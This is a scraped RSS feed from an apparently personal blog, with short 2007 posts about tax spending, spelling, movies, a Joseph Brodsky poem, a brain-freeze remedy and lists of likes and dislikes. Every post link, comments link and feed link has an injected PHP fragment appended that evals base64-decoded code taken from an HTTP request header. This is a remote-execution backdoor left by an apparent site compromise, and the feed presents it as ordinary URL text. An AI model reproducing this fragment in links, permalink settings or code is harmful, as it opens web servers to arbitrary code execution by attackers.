Garth's World » Observations http://www.theworldaccordingtogarth.com/wp A place for my non-income producing knowledge Tue, 02 Jun 2009 22:03:16 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 Where do your taxes go? http://www.theworldaccordingtogarth.com/wp/2007/04/21/where-do-your-taxes-go/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/04/21/where-do-your-taxes-go/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 21 Apr 2007 20:20:04 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/04/21/where-do-your-taxes-go/ Here is a cool visual display of where your tax dollars go. This only represents the discretionary budget that the President submits to Congress every year. Entitlement programs such as Medicare and Social Security are not included even though they are a huge part of the taxes we pay.

]]> http://www.theworldaccordingtogarth.com/wp/2007/04/21/where-do-your-taxes-go/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Definitely http://www.theworldaccordingtogarth.com/wp/2007/04/07/definitely/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/04/07/definitely/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 07 Apr 2007 19:11:56 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/04/07/definitely/ I will admit it.  I think good spelling is important.  Please correct me if you ever see anything that looks wrong on this site.  One word people are excellent at spelling incorrectly is definitely.  Apparently, someone takes spelling this word even more seriously than I do.  They have devoted an entire website to the word.  Pretty funny.

]]> http://www.theworldaccordingtogarth.com/wp/2007/04/07/definitely/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Crying in movies http://www.theworldaccordingtogarth.com/wp/2007/03/08/crying-in-movies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/03/08/crying-in-movies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 08 Mar 2007 23:02:46 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/03/08/crying-in-movies/ The first time I cried in a movie was junior year in high school.  Unfortunately, I saw this movie in History class, Sergeant York.  Immediately after watching this movie, we watched Yankee Doodle Dandy, where I cried again.  Crying in school was not ideal, but luckily the lights were out and half the class was asleep.  Both were proud and patriotic movies, where I cried out of happiness (and both won their leading actors an Oscar).  The next movie I really cried in was of a similar tone, A Few Good Men.  Are you seeing the theme for my future?  I must have at the age of 17.

After all those (and a few others along the way), the movie I cried the most in was a recent one…Stranger than Fiction.  As in the other movies, this was a happy cry.  This was one of best movies I have seen in years.  It may have gotten away from the patriotic military theme, but it caught another theme for me — I watched it on the plane. 

]]> http://www.theworldaccordingtogarth.com/wp/2007/03/08/crying-in-movies/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Poetry for life http://www.theworldaccordingtogarth.com/wp/2007/03/08/poetry-for-life/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/03/08/poetry-for-life/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 08 Mar 2007 22:33:12 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/03/08/poetry-for-life/ A very smart man I work with read my blog and, in response, sent me this poem.  Thanks, sir. 

May 24, 1980
  
 
I have braved, for want of wild beasts, steel cages, carved my term and nickname on bunks and rafters, lived by the sea, flashed aces in an oasis, dined with the-devil-knows-whom, in tails, on truffles.
From the height of a glacier I beheld half a world, the earthly width. Twice have drowned, thrice let knives rake my nitty-gritty.
Quit the country that bore and nursed me.
Those who forgot me would make a city.
I have waded the steppes that saw yelling Huns in saddles, worn the clothes nowadays back in fashion in every quarter, planted rye, tarred the roofs of pigsties and stables, guzzled everything save dry water.
I’ve admitted the sentries’ third eye into my wet and foul dreams. Munched the bread of exile; it’s stale and warty.
Granted my lungs all sounds except the howl; switched to a whisper. Now I am forty.
What should I say about my life? That it’s long and abhors transparence.
Broken eggs make me grieve; the omelet, though, makes me vomit.
Yet until brown clay has been rammed down my larynx, only gratitude will be gushing from it.  

– Joseph Brodsky

I hope to write my own poem when I am 40.  Until then, this blog will be my practice and part of my gratitude.  As for transparence, there is not much more than putting my life out for you to read here.  Maybe that is one difference between 33 and 40 and is where Mr. Brodsky and I will differ…for now. 

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Brain freeze? We have all had them — drank something cold too fast leading to a headache.

Cure? Pinch the tip of your tongue. This remedy works for about 85% of the dozens of people I have suggested it to over the years.

]]> http://www.theworldaccordingtogarth.com/wp/2007/02/12/brain-freeze-cure/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 1 My new biggest fear http://www.theworldaccordingtogarth.com/wp/2007/02/09/my-new-biggest-fear/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/02/09/my-new-biggest-fear/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 09 Feb 2007 15:27:04 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/02/09/my-new-biggest-fear/ Oversleeping. Working regularly in four or more time zones, 5 to 10 hours ahead, in less than a week leaves my internal clock contstantly askew.   Me? Afraid of heights? Old news.   Waking up possessed with the fear of God convinced that I missed a flight somewhere?  That, my friends, is fear…and one way too real in my life this year.  Doing the same thing multiple times in a night?  Exhausting. Drinking countless steins of German beer at the Hofbrau Haus in Munich until a few hours before an early morning international flight will make it a bit more than a fear.  It will quickly make oversleeping a reality — fueling the fear. 

I am conquering it along with other fears.  I just need to be careful in Munich. 

]]> http://www.theworldaccordingtogarth.com/wp/2007/02/09/my-new-biggest-fear/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Dream superpowers http://www.theworldaccordingtogarth.com/wp/2007/02/09/dream-superpowers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/02/09/dream-superpowers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 09 Feb 2007 15:21:36 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/02/09/dream-superpowers/ For years, I dreamt I could fly — sometimes Superman-like, other times hovering while swimming a flailing freestyle through pudding.  Mostly, my dream powers were somewhere in between. Nothing comes closer to flying in the waking world than skydiving and scuba diving.  Maybe it was my pursuit of these that stopped my flying dreams.  Were the dreams actually premonitions of my future passions and abilities? Now, I have a recurring dream that I have The Force and can summon things to me like Yoda with an X-Wing fighter.  

Do my new dreams foretell a couch potato life spent beckoning the remote control from the sofa cushions and cans of Pabst Blue Ribbon from the living room mini-fridge?

]]> http://www.theworldaccordingtogarth.com/wp/2007/02/09/dream-superpowers/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Things that fascinate me http://www.theworldaccordingtogarth.com/wp/2007/02/09/things-that-fascinate-me/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/02/09/things-that-fascinate-me/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 09 Feb 2007 15:16:57 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/02/09/things-that-fascinate-me/ Spontaneous human combustion

Cults, not to join one, but to know why someone would

Photography

US Presidents

Lightning

Silence

Mt Kilimanjaro

Exercise

Lower back dimples

Womens hip bones, collar bones, and back of the knee bone

Pro football

Getting hit by a bus

International relations

Foreign trade

Winning the war

Eating something I have never eaten before, the more exotic the better

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My family

Friends

Someplace to go

Something to do

Reading Magazines

Something to stimulate my mind

Something new to eat

Exercise

Sex

Seafood

Adrenaline

Cities

Mountains

Challenges

A new gadget

Movies

Tolerance

Word of the day

Sundresses

Long hair on women

Sneezes

Staying up late

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Bad attitudes

Waiting around without anything to do

People who constantly eat crap food but then complain about being fat

The nicest car on the block

Hesitation

McDonalds

Most fast food

Racism

Parents who teach racial equality but will not allow their children to date interracially

Thinking TV news has all the answers

Vegetarians

Shaving (my face)

Big hair sprayed dos

Cutting in line

Drugs

Cats

Striped shirts

Black pepper

Holding your purse

Big Johnson T-shirts

Passive drivers

Tattoos on breasts

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